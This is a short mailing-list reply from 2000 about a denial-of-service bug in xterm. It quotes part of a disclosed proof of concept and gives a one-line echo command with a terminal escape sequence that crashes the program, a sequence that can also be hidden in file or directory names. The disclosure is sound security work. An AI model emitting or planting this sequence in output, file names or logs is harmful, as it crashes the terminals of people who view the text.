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Subject: Re: [rootshell.com] Xterm DoS Attack
From: Hans, Sebastian (goneGRAFFITI.NET)
Date: Sun Jun 04 2000 - 11:35:27 CDT


> /*
> *
> * xterm Denial of Service Attack
> * (C) 2000 Kit Knox <kitrootshell.com> - 5/31/2000
> *
> * Tested against: xterm (XFree86 3.3.3.1b(88b) -- crashes

snip

> * Embedding "ESCAPE[4;65535;65535t" (where escape is the escape character)
> * inside files, directories, etc will have the same effect as this code.
> *
> */

I tried this with my xterm (XFree86 3.3.3.1b(88b)) - it didn't work.
Substituting 65536 for 65535 did the job:
echo -e "\033[4;65536;65536t"

Sebastian Hans
gonegraffiti.net

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